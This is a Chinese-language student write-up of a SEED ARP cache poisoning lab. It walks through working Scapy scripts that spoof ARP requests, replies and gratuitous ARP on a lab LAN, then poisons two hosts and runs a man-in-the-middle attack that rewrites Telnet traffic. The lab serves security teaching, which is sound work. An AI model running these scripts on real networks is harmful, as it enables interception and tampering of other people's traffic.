ARP Cache Poisoning Attack Lab
一、实验的基本环境
一共有三台机器,我们使用Host M进行攻击,因为ARP协议只在局域网上运行,所以三台机器在同一个局域网上面。
二、实验具体细节
Task 1: ARP Cache Poisoning
Task 1.A (using ARP request).
实验目的:在主机 M 上,构造一个 ARP 请求包,发送给主机 A。查看主机 A 的 ARP 缓存中 M 的 MAC 地址是否映射到 B 的 IP 地址。
1.首先要进入hostA和主机M,因为ARP协议只能在局域网内才有用。
2.查看主机A里面的ARP缓存看是否已经缓存了B,如果有就要删除。
3.编写代码。
#!/usr/bin/python3
from scapy.all import *
# M
src_mac='02:42:0a:09:00:69'# M
dst_mac='00:00:00:00:00:00'
dst_mac_eth='ff:ff:ff:ff:ff:ff'
src_ip='10.9.0.6' # B
dst_ip='10.9.0.5' # 任意 IP
eth = Ether(src=src_mac,dst=dst_mac_eth)
arp = ARP(hwsrc=src_mac, psrc=src_ip, pdst=dst_ip, op=1)
pkt = eth / arp
sendp(pkt)
4.运行并查看结果,主要代码要在主机M里面运行。
Task 1.B (using ARP reply).
在主机 M 上,构造一个 ARP 应答包,发送给主机 A。在 A 的 ARP 缓存中检查 M 的 MAC 地址是否映射到 B 的 IP 地址。
1.刚才前面实验中主机A的ARP缓存中已经有了B的地址,所以第一步要把,B的地址进行删除。
2.构造一个 ARP 应答包代码。
#!/usr/bin/python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='02:42:0a:09:00:05' # A
src_ip='10.9.0.6' # B
dst_ip='10.9.0.5' # A
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
sendp(pkt)
3.查看结果
Task 1.C (using ARP gratuitous message).
这部分是通过ARP免费报文来实施ARP缓存投毒攻击。免费ARP报文是一种特殊的ARP报文,该报文携带的发送端IP地址和目标IP地址都是本机地址,报文源MAC地址是本机地址,目的MAC地址是广播地址,以太网头中的目的MAC地址也是广播地址。
设备通过对外发送免费ARP报文来实现以下功能:
1.确定其它设备的IP地址是否与本机的IP地址冲突。当其它设备收到免费ARP报文后,如果发现报文中的IP地址和自己的IP地址相同,则给发送免费ARP报文的设备返回一个ARP应答,告知该设备IP地址冲突。
2.设备改变了硬件地址,通过发送免费ARP报文通知其它设备更新ARP表项。
编写代码。
#!/usr/bin/python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='ff:ff:ff:ff:ff:ff' # broadcast MAC address
src_ip='10.9.0.6' # B
dst_ip='10.9.0.6' # B
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
sendp(pkt)
查看结果。
Task 2: MITM Attack on Telnet using ARP Cache Poisoning
这部分主要是通过ARP缓存投毒来对telnet实施中间人攻击。
Step 1 (Launch the ARP cache poisoning attack)
此处需要实施的是中间人攻击,这部分可以参考Task1的scapy使用方法,可以通过伪造ARP数据包来完成。
Poisoning host A的思路是,src的IP地址是host B的IP地址,dst的IP地址是host A的IP地址。src的MAC地址是中间人M的MAC地址,dst的MAC地址是广播broadcast的MAC地址,即’ff:ff:ff:ff:ff:ff’。这样做的目的是使得host A将自己的ARP Cache设置为host B的IP对应到了中间人M的MAC地址,这样就成功使A的ARP Cache中毒。
同理,对于host B的Poisoning的思路也一样。
1.编写代码。
#!/usr/bin/python3
from scapy.all import *
broadcast_mac = "FF:FF:FF:FF:FF:FF"
# machine A
A_mac = "02:42:0a:09:00:05"
A_ip = "10.9.0.5"
# machine B
B_mac = "02:42:0a:09:00:06"
B_ip = "10.9.0.6"
# machine M
M_mac = "02:42:0a:09:00:69"
M_ip = "10.9.0.105"
# attack machine A
E = Ether(src=M_mac, dst=broadcast_mac)
A = ARP(hwsrc=M_mac, psrc=B_ip, pdst=A_ip)
sendp(E/A)
# attack machine B
E = Ether(src=M_mac, dst=broadcast_mac)
A = ARP(hwsrc=M_mac, psrc=A_ip, pdst=B_ip)
sendp(E/A)
2.查看攻击结果。
Step 2 (Testing).
上面我们完成了攻击,这里我们在A机器上ping B机器,在B机器上ping A机器测试一下。在测试开始前确保主机M的路由转发是关闭的。
1.在主机A里面pingB。
2.在主机B中pingA。
原因如下:以在B机器上ping A机器为例, 发送的icmp包链路层本应该是机器A的ip对应的MAC地址,但是由于ARP中毒攻击,缓存中机器A的ip对应的MAC地址是机器M的MAC地址,而IP层的目的地址是机器A的IP地址。所以机器M收到这个包,看到包中的目的MAC地址与自己的一样,会收下来,但是IP层的目的IP是机器A的IP地址,与自己的对不上,会丢弃该包。
机器A看到包中的目的MAC地址与自己的不一样,不会收,所以ping失败。
Step 3 (Turn on IP forwarding)
使用下面的命令在M机器上打开数据包转发功能。所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。
打开后就可以实现A与B 的正常ping。
Step 4 (Launch the MITM attack).
在这个步骤中要不断的对主机A和B进行poison攻击。
最后一步实行中间人攻击。
1.我们先在机器M上打开包转发功能,然后在机器A上telnet机器B,输入用户名密码,可以连上,可以正常输入命令并返回结果。然后在机器M上关闭包转发功能,再输入命令,可以发现无法输入,因为此时关闭包转发后,机器A和机器B已经无法通信
2.建立连接后,使用以下命令关闭IP转发。
3.在关闭转发后,在主机A中再输入命令,可以发现无法输入,因为此时关闭包转发后,机器A和机器B已经无法通信。
4.代码编写。
#!/usr/bin/python3
from scapy.all import *
VM_A_IP = "10.9.0.5"
VM_B_IP = "10.9.0.6"
def spoof_pkt(pkt):
if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
# Create a new packet based on the captured one.
# (1) We need to delete the checksum fields in the IP and TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them for us if these fields are missing.
# (2) We also delete the original TCP payload.
newpkt = pkt[IP]
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
#####################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
#olddata = pkt[TCP].payload.load # Get the original payload data
newdata = str.encode('Z') # No change is made in this sample code
#newdata = "Z" * len(olddata)
#####################################################################
# Attach the new data and set the packet out
send(newpkt/newdata)
elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
send(pkt[IP]) # Forward the original packet
pkt = sniff(filter="ether src host not 02:42:0a:09:00:69 and tcp",prn=spoof_pkt)
5.实验结果,无论输入什么都会显示为Z。